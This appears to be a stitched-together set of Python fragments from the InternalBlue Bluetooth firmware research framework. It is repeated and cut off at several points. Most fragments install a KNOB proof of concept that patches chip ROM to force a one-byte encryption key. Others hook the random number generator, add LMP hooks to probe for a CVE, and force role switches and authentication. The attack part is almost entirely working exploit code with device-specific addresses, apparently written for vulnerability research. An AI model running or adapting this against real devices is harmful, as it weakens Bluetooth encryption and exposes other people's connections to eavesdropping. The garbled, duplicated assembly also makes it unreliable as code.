internalblue = HCICore() internalblue.interface = internalblue.device_list()[0][ 1] # just use the first device # setup sockets if not internalblue.connect(): internalblue.logger.critical("No connection to target device.") exit(-1) internalblue.logger.info( "Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!" ) # modify function lm_SendLmpEncryptKeySizeReq patch = asm("mov r2, #0x1", vma=0x3B3D4) # connection struct key entropy internalblue.patchRom(Address(0x3B3D4), patch) # modify global variable for own setting internalblue.writeMem(0x204A5F, b'\x01') # global key entropy internalblue.logger.info( "-----------------------\n" "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n" "Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n" "For more details, see special instructions for BlueZ.\n" "-----------------------KNOB-----------------------\n" "Automatically continuing on KNOB interface...\n" "Use the 'knob' command to *debug* the attack, i.e.:\n" " knob --hnd 0x0c\n" "...shows the key size of handle 0x000c.\n")
exit(-1) internalblue.logger.info("installing assembly patches...") # Install the RNG code in RAM code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG) if not internalblue.writeMem( address=ASM_LOCATION_RNG, data=code, progress_log=None): internalblue.logger.critical("error!") exit(-1) # Disable original RNG patch = asm( "bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes if not internalblue.patchRom(FUN_RNG, patch): internalblue.logger.critical("Could not disable original RNG!") exit(-1) internalblue.logger.info("Installed all RNG hooks.") os.system("sudo rfkill block wifi") internalblue.logger.info("Disabled Wi-Fi core.") """ We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here), so we cannot solve this recursively but need some global status variable. Still, polling this is way faster than polling a status register in the Bluetooth firmware itself. """ # global status internalblue.rnd_done = False
#if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log): # progress_log.critical("error!") # exit(-1) # Install the RNG code in RAM code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG) if not internalblue.writeMem( address=ASM_LOCATION_RNG, data=code, progress_log=progress_log): progress_log.critical("error!") exit(-1) # Disable original RNG patch = asm( "bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes if not internalblue.patchRom(FUN_RNG, patch): log.critical("Could not disable original RNG!") exit(-1) # CYW20819 Launch_RAM fix: overwrite an unused HCI handler # The Launch_RAM handler is broken so we can just overwrite it to call the function we need. # The handler table entry for it is at 0xF2884, and it points to launch_RAM+1. if not internalblue.patchRom(0xF2884, b'\x01\x90\x21\x00'): # 0x219001 log.critical("Could not implement our launch RAM fix!") exit(-1) # Disable functions that crash us when using the target memory region at 0x219000 patch = asm( "bx lr; bx lr", vma=0x79AC6) # 2 times bx lr is 4 bytes and we can only patch 4 bytes if not internalblue.patchRom(0x79AC6, patch):
#if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log): # progress_log.critical("error!") # exit(-1) # Install the RNG code in RAM code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG) if not internalblue.writeMem( address=ASM_LOCATION_RNG, data=code, progress_log=progress_log): progress_log.critical("error!") exit(-1) # Disable original RNG patch = asm( "bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes if not internalblue.patchRom(FUN_RNG, patch): log.critical("Could not disable original RNG!") exit(-1) # CYW20719 Launch_RAM fix: overwrite an unused HCI handler # The Launch_RAM handler is broken so we can just overwrite it to call the function we need. # The handler table entry for it is at 0x1AB218, and it points to launch_RAM+1. # Located by looking for bthci_cmd_vs_HandleLaunch_RAM+1 in the dump. if not internalblue.patchRom( 0x1AB218, p32(ASM_LOCATION_RNG + 1)): # function table entries are sub+1 log.critical("Could not implement our launch RAM fix!") exit(-1) # Disable functions that crash us when using the target memory region # here: bcs_taskDeactivate_blocking - similar behavior as in CYW20819
// undo registers for our own routine mov r0, r7 pop {r1-r7, lr} // branch back to _connTaskRxDone + 4 b 0x35fc0 """ # setup sockets if not internalblue.connect(): log.critical("No connection to target device.") exit(-1) # Install hooks code = asm(ASM_HOOKS, vma=HOOKS_LOCATION) log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION) if not internalblue.writeMem(HOOKS_LOCATION, code): log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION) exit(-1) log.info("Installing hook patch...") patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS) if not internalblue.patchRom(RX_DONE_HOOK_ADDRESS, patch): log.critical("Installing patch for _connTaskRxDone failed!") exit(-1) log.info("--------------------") log.info( "To see statistics, execute 'internalblue' and run 'log_level debug'.")
internalblue = HCICore() internalblue.interface = internalblue.device_list()[0][ 1] # just use the first device # setup sockets if not internalblue.connect(): internalblue.logger.critical("No connection to target device.") exit(-1) internalblue.logger.info( "Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!" ) # modify function lm_SendLmpEncryptKeySizeReq patch = asm("mov r2, #0x1", vma=0x689F0) # connection struct key entropy internalblue.patchRom(Address(0x689F0), patch) # modify global variable for own setting internalblue.writeMem(0x204127, b'\x01') # global key entropy internalblue.logger.info( "-----------------------\n" "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n" "Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n" "For more details, see special instructions for BlueZ.\n" "-----------------------KNOB-----------------------\n" "Automatically continuing on KNOB interface...\n" "Use the 'knob' command to *debug* the attack, i.e.:\n" " knob --hnd 0x0c\n" "...shows the key size of handle 0x000c.\n")
if not internalblue.writeMem(address=HOOK_LMP_00_LOOKUP, data=p32(ASM_LOCATION_LMP_00_LOOKUP + 1), progress_log=progress_log): progress_log.critical("error!") exit(-1) progress_log = log.info("Writing ASM snippet for LMP BPSC existence check.") code = asm(ASM_SNIPPET_VSC_EXISTS, vma=ASM_LOCATION_VSC_EXISTS) if not internalblue.writeMem( address=ASM_LOCATION_VSC_EXISTS, data=code, progress_log=progress_log): progress_log.critical("error!") exit(-1) # all send_lmp functions are in rom... log.info("Installing LMP BPSC existence hook patch...") patch = asm("b 0x%x" % ASM_LOCATION_VSC_EXISTS, vma=HOOK_VSC_EXISTS) if not internalblue.patchRom(HOOK_VSC_EXISTS, patch): log.critical("error!") exit(-1) log.info( "Installed all the hooks. You can now establish connections to other devices to check for the LMP CVE." ) # shutdown connection internalblue.shutdown() log.info("------------------") log.info( "To test the vulnerability, establish a classic Bluetooth connection to the target device. Eventually try different values for LMP_VSC_CMD_*." )
""" internalblue = HCICore() internalblue.interface = internalblue.device_list()[0][ 1] # just use the first device # setup sockets if not internalblue.connect(): log.critical("No connection to target device.") exit(-1) log.info( "Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!" ) # modify function lm_SendLmpEncryptKeySizeReq patch = asm("mov r2, #0x1", vma=0x3B3D4) # connection struct key entropy internalblue.patchRom(0x3B3D4, patch) # modify global variable for own setting internalblue.writeMem(0x204A5F, '\x01') # global key entropy internalblue.shutdown() exit(-1) log.info( "-----------------------\n" "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n" "Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n" "For more details, see special instructions for BlueZ.\n")
# if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=None): # internalblue.logger.critical("error!") # exit(-1) # Install the RNG code in RAM code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG) if not internalblue.writeMem( address=ASM_LOCATION_RNG, data=code, progress_log=None): internalblue.logger.critical("error!") exit(-1) # Disable original RNG patch = asm( "bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes if not internalblue.patchRom(FUN_RNG, patch): internalblue.logger.critical("Could not disable original RNG!") exit(-1) # CYW20819 Launch_RAM fix: overwrite an unused HCI handler # The Launch_RAM handler is broken so we can just overwrite it to call the function we need. # The handler table entry for it is at 0xF2884, and it points to launch_RAM+1. if not internalblue.patchRom(0xF2884, p32(ASM_LOCATION_RNG + 1)): # 0x219001 internalblue.logger.critical("Could not implement our launch RAM fix!") exit(-1) # Disable functions that crash us when using the target memory region at 0x219000 patch = asm( "bx lr; bx lr", vma=0x79AC6) # 2 times bx lr is 4 bytes and we can only patch 4 bytes if not internalblue.patchRom(0x79AC6, patch):
internalblue = HCICore() internalblue.interface = internalblue.device_list()[0][ 1] # just use the first device # setup sockets if not internalblue.connect(): log.critical("No connection to target device.") exit(-1) log.info( "Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!" ) # modify function lm_SendLmpEncryptKeySizeReq patch = asm("mov r2, #0x1", vma=0x7402A) # connection struct key entropy internalblue.patchRom(Address(0x7402A), patch) # modify global variable for own setting internalblue.writeMem(0x280F13, b'\x01') # global key entropy log.info( "-----------------------\n" "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n" "Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n" "For more details, see special instructions for BlueZ.\n" "-----------------------KNOB-----------------------\n" "Automatically continuing on KNOB interface...\n" "Use the 'knob' command to *debug* the attack, i.e.:\n" " knob --hnd 0x0c\n" "...shows the key size of handle 0x000c.\n")
""" internalblue = HCICore() internalblue.interface = internalblue.device_list()[0][ 1] # just use the first device # setup sockets if not internalblue.connect(): log.critical("No connection to target device.") exit(-1) log.info( "Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!" ) # modify function lm_SendLmpEncryptKeySizeReq patch = asm("mov r2, #0x1", vma=0x689F0) # connection struct key entropy internalblue.patchRom(0x689F0, patch) # modify global variable for own setting internalblue.writeMem(0x204127, '\x01') # global key entropy internalblue.shutdown() exit(-1) log.info( "-----------------------\n" "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n" "Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n" "For more details, see special instructions for BlueZ.\n")
""" internalblue = HCICore() internalblue.interface = internalblue.device_list()[0][1] # just use the first device # setup sockets if not internalblue.connect(): log.critical("No connection to target device.") exit(-1) log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!") # modify function lm_SendLmpEncryptKeySizeReq patch = asm("mov r2, #0x1", vma=0x7402A) # connection struct key entropy internalblue.patchRom(0x7402A, patch) # modify global variable for own setting internalblue.writeMem(0x280F13, '\x01') # global key entropy internalblue.shutdown() exit(-1) log.info("-----------------------\n" "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n" "Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n" "For more details, see special instructions for BlueZ.\n")
code1 = b""" @Part 1: Make sure we always switch roles mov r6, #0x0 sub sp, #0x18 add r0, #0xc b 0x2e7ad """ addrcode1 = 0x2006d0 taddrcode1 = addrcode1 + 1 # 0x2006d1 # write code1 into addrcode1 (SRAM) code1Bytes = asm(code1, addrcode1) internalblue.writeMem(addrcode1, code1Bytes) # patch rom addrpatch1 = 0x2e7a8 patch1 = asm("b {}".format(str(hex(taddrcode1))), vma=addrpatch1) internalblue.patchRom(addrpatch1, patch1) # patch 2: immediately authenticate after setup code1len = len(code1Bytes) # 4-byte align code1len += 4 - (code1len % 4) code2 = b""" @save lr push {lr} @call lm_HandleHciAuthenticationReq bl 0xaec11 @make up for what we overwrote